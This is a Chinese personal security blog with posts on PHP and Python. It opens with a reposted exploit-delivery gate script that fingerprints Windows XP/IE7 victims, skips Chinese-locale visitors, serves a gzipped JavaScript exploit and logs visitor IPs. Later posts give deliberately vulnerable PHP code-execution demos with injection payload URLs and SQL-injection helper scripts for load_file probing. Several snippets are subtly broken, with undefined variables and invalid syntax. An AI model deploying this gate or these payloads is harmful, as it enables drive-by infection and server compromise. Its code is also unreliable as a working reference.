|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| #!/usr/bin/env python                                                                                                                                                              |      菩提本无树
| print 'Hi All,Welcome To My Personal Blog;I Will Write Some Articles About Technical、My Life And Mood,^_^.\n'            |      明镜亦非台
| print 'Python Is Very Simple And Very Powerful.....'                                                                                                                |      本来无一物
|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|      何处惹尘埃

PHP的readfile()函数0

我以前没有用过这个函数,当我看到一段代码后,感觉此函数在某些方面发挥的作用还是很大滴!
先看一段网上公开的代码:

?Download exp.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<?
function knowos($useragent){
    if(!stristr(strtolower($useragent),"windows"))
    {
    exit(); //if not windows
    }
    if(!stristr(strtolower($useragent),"nt 5.1"))
    {
    exit(); //if not windows xp
    }
    if(!stristr(strtolower($useragent),"msie 7.0"))
    {
    exit(); //if not ie7
    }
    return 0;
}
function disablchs(){
if(stristr(strtolower($_SERVER['HTTP_ACCEPT_CHARSET']),"gb2312"))
    {
    exit();
    }
if(stristr(strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']),"zh-cn"))
    {
    exit();
    }
    return 0;
}
function logger(){
    $fp = fopen('asdz1asd.txt','a+');
    if(!$fp)
    {
    return -1;
    }
    @fputs($fp,'IP:'.$_SERVER['REMOTE_ADDR'].'\r\n');
    @fputs($fp,'Useragent:'.$_SERVER['HTTP_USER_AGENT'].'\r\n');
    @fputs($fp,'Proxy:'.$_SERVER['HTTP_VIA'].'\r\n');
    @fputs($fp,'RealIP:'.$_SERVER['HTTP_X_FORWARDED_FOR'].'\r\n');
    @fputs($fp,'Ref:'.$_SERVER['HTTP_REFERER'].'\r\n');
    @fputs($fp,'------------------------\r\n');
    @fclose($fp);
    return 0;
}
function CookieContorl(){
    if(isset($_COOKIE['ASPNETCOOKIE']))
    {
    exit();
    }
    $value = "aaaaaaaaa";
    setcookie("ASPNETCOOKIE", $value, time()+60*60*24*7);
}
function LimitIprange(){
$iprange = '222.111.';
if(!stristr($_SERVER['REMOTE_ADDR'],$iprange))
{
exit();
}
return 0;
}
function sendexploit(){
header('Content-type: text/javascript');
header('Content-Encoding: gzip');
readfile('assdaxzcxz.js.gz');
}
knowos($_SERVER['HTTP_USER_AGENT']);
LimitIprange();
disablchs();
CookieContorl();
sendexploit();
logger();
?>

大家注意代码中sendexploit()函数,使用了readfile()函数,看来这个函数也就该明白此函数在某些方面的威力了.
demo代码中调用的是js代码,当时也可以调用html文件.
如果调用html文件的话,需要相应的修改下header()就可以了.
比如:

?Download demo2.php
1
2
3
4
5
6
<?php
function A();
function B();
@header("content-Type: text/html; charset=utf-8");
@readfile("exp.html");
?>

Js中defer的作用(转)0

//defer很蛋疼的说,我都不知道怎么封装,一封装就调用不成功.
defer是脚本程序强大功能中的一个’无名英雄’.它告诉浏览器Script段包含了无需立即执行的代码,并且,与SRC属性联合使用,它还可以使这些脚本在后台被下载,前台的内容则正常显示给用户,文档加载完毕了再执行脚本.

script中的defer属性默认情况下是false的.按照DHTML编程宝典中的描述,对于Defer属性是这样写的:
Using the attribute at design time can improve the download performance of a page because the browser does not need to parse and execute the script and can continue downloading and parsing the page instead.
也就是说:如果是编写脚本的时候加入defer属性,那么浏览器在下载脚本的时候就不必立即对其进行处理,而是继续对页面进行下载和解析,这样会提高下载的性能.
这样的情况有很多种.比如你定义了很多javascript变量,或者在引用文件(.inc)中写了很多的脚本需要处理,那不妨在这些脚本中加入defer属性,对性能的提高肯定有所帮助.

最后请注意两点:
1、不要在defer型的脚本程序段中调用document.write命令,因为document.write将产生直接输出效果.
2、而且,不要在defer型脚本程序段中包括任何立即执行脚本要使用的全局变量或者函数.

加上 defer 等于在页面完全在入后再执行,相当于 window.onload ,但应用上比 window.onload 更灵活!

text2char(python)0

在pgsql和oracle注射的时候,有些时候可能需要转换下,并且使用||做为连接符.

?Download text2char.py
1
2
3
4
5
def text2chr(text):
    char = ''
    for x in text:
        char += 'chr(' + str(ord(k)) + ')||'
    return char

python的httplib2模块0

模块下载http://code.google.com/p/httplib2/downloads/list
安装方法上面也有介绍,win下也不是像PQ,wxpython模块是exe的,不过安装也很简单,直接跳到解压目录,
执行python setup.py build,python setup.py install就可以了.
这个模块相对来说要比urllib,urllib2模块要强悍,目前支持GET,PUT,COOKIE,HTTPS/SSL,SOCKS,使用也比较简单.
不过刚看下帮助(help(httplib2)或者dir(httplib2)),竟然没有类似urllib.urlencode()函数,所以在PUT方式提交的时候需要借助urllib模块进行urlencode().
使用cookie的时候也不需要借助cookielib模块了,SOCKS也不需要urllib2模块(不过需要装个socks.py,:lol)
使用方法可以到http://code.google.com/p/httplib2/wiki/Examples去看现成的实例代码.

php代码执行漏洞总结(转)2

文章转于:http://hi.baidu.com/menzhi007/blog/item/4622205578c33ac8b745ae9f.html
我很少甚至不转文章,当我看到这篇文章时,感觉很有学习的必要,我的fuzz能力太差了.
如果说看看源码,还能勉强去读懂几句php代码,但是fuzz就………
所以这篇文章是留学习备份用.

一 代码执行函数

PHP中可以执行代码的函数。如eval()、assert()、“、system()、exec()、shell_exec()、passthru()、 escapeshellcmd()、pcntl_exec() 等

demo code 1.1:

?Download demo1.php
1
2
3
<?php
echo `dir`;
?>

二 文件包含代码注射
文件包含函数在特定条件下的代码注射,如include()、include_once()、 require()、require_once()。
当allow_url_include=On ,PHP Version>=5.2.0 时,导致代码注射。
demo code 2.1:

?Download demo21.php
1
2
3
<?php
include($_GET['a']);
?>

访问http://127.0.0.1/include.php?a=data:text/plain,%3C?php%20phpinfo%28%29;?%3E 即

执行phpinfo()。

三 正则匹配代码注射

众所周知的preg_replace()函数导致的代码注射。当pattern中存在/e模式修饰符,即允许执行代码。这里我们分三种情况讨论下

3.1 preg_replace() pattern 参数注射

pattern即第一个参数的代码注射。

当magic_quotes_gpc=Off时,导致代码执行。

demo code 3.1:

?Download demo31.php
1
2
3
4
5
<?php
echo $regexp = $_GET['reg'];
$var = '<php>phpinfo()</php>';
preg_replace("/<php>(.*?)$regexp", '\\1', $var);
?>

访问http://127.0.0.1/preg_replace1.php?reg=%3C\/php%3E/e 即执行phpinfo()。

3.2 preg_replace() replacement参数注射

replacement即第二个参数的代码注射,导致代码执行。

demo code 3.2:

?Download demo32.php
1
2
3
4
<?php
#这里需要preg_replace()返回True
preg_replace("/test/e",$_GET['h'],"jutst test");
?>

当我们提交 http://127.0.0.1/preg_replace2.php?h=phpinfo() 即执行phpinfo()。

3.3 preg_replace()第三个参数注射

我们通过构造subject参数执行代码。提交:http://127.0.0.1/preg_replace3.php?h=[php]phpinfo()[/php]

或者 http://127.0.0.1/preg_replace3.php?h=[php]${phpinfo%28%29}[/php] 导致代码执行

demo code 3.3:

?Download demo33.php
1
2
3
<?php
preg_replace("/\s*\[php\](.+?)\[\/php\]\s*/ies", "\\1", $_GET['h']);
?>

四 动态代码执行

4.1 动态变量代码执行

demo code 4.1:

?Download demo41.php
1
2
3
4
5
<?php
$dyn_func = $_GET['dyn_func'];
$argument = $_GET['argument'];
$dyn_func($argument);
?>

我们提交 http://127.0.0.1/dyn_func.php?dyn_func=system&argument=ipconfig 执行ipconfig命令

4.2 动态函数代码执行

demo code 4.2:

?Download demo42.php
1
2
3
4
5
<?php
$foobar = $_GET['foobar'];
$dyn_func = create_function('$foobar', "echo $foobar;");
$dyn_func('');
?>

我们提交 http://127.0.0.1/create_function.php?foobar=system%28dir%29 执行dir命令

五 其他

5.1 ob_start()函数的代码执行

demo code 5.1:

?Download demo51.php
1
2
3
4
5
6
<?php
$foobar = 'system';
ob_start($foobar);
echo 'dir';
ob_end_flush();
?>

5.2 array_map()函数的代码执行

demo code 5.2:

?Download demo52.php
1
2
3
4
5
<?php
$evil_callback = $_GET['callback'];
$some_array = array(0, 1, 2, 3);
$new_array = array_map($evil_callback, $some_array);
?>

我们提交 http://127.0.0.1/array_map.php?callback=phpinfo 即执行phpinfo()。

5.3 unserialize()与eval()

unserialize()是PHP中使用率非常高的函数。不正当使用unserialize()容易导致安全隐患。

(黑哥那个挑战2 http://hi.baidu.com/hi_heige/blog/item/505b2828da5b18f499250a9b.html)

demo code 5.3:

?Download demo53.php
1
2
3
4
5
6
7
8
9
<?php
class Example {
var $var = '';
function __destruct() {
eval($this->var);
}
}
unserialize($_GET['saved_code']);
?>

我们提交 http://127.0.0.1/unserialize.php?saved_code=O:7:%22Example%22:1:{s:3:%22var%22;s:10:%22phpinfo%28%29;%22;} 即执行phpinfo()。

5.4 容易导致安全问题的函数
同类型函数还有很多
array_map()
usort(), uasort(), uksort()
array_filter()
array_reduce()
array_diff_uassoc(), array_diff_ukey()
array_udiff(), array_udiff_assoc(), array_udiff_uassoc()
array_intersect_assoc(), array_intersect_uassoc()
array_uintersect(), array_uintersect_assoc(), array_uintersect_uassoc()
array_walk(), array_walk_recursive()
xml_set_character_data_handler()
xml_set_default_handler()
xml_set_element_handler()
xml_set_end_namespace_decl_handler()
xml_set_external_entity_ref_handler()
xml_set_notation_decl_handler()
xml_set_processing_instruction_handler()
xml_set_start_namespace_decl_handler()
xml_set_unparsed_entity_decl_handler()
stream_filter_register()
set_error_handler()
register_shutdown_function()
register_tick_function()

把字符串转换成ascii码(python)2

python中有chr()函数把ascii值转换成字符,ord()函数把字符转换成ascii值.
但是ord()只能把单个的字符转换成ascii码值.
一myslq的点,工具不能注,一旦union就跳转,只好自己写脚本来抓返回数据,在探测的时候发现不能使用16进制的字符串,但是char()函数可用.
由于load_file()要批量探测配置文件是否存在,所以就需要把字符串转换成char(97,98,99)的形式,我也没想起来python中有什么函数能把字符串转换成ascii值的,所以自己写了个几句代码的函数

?Download ascii.py
1
2
3
4
5
def ascii(strtoasc):
    length = len(strtoasc)
    for i in range(0,length):
        ascstr.append(ord(strtoasc[i]))        
    return str(ascstr)[1:-1].replace(' ','')

如果需要把字符串转换成ascii直接调用ascii()函数即可.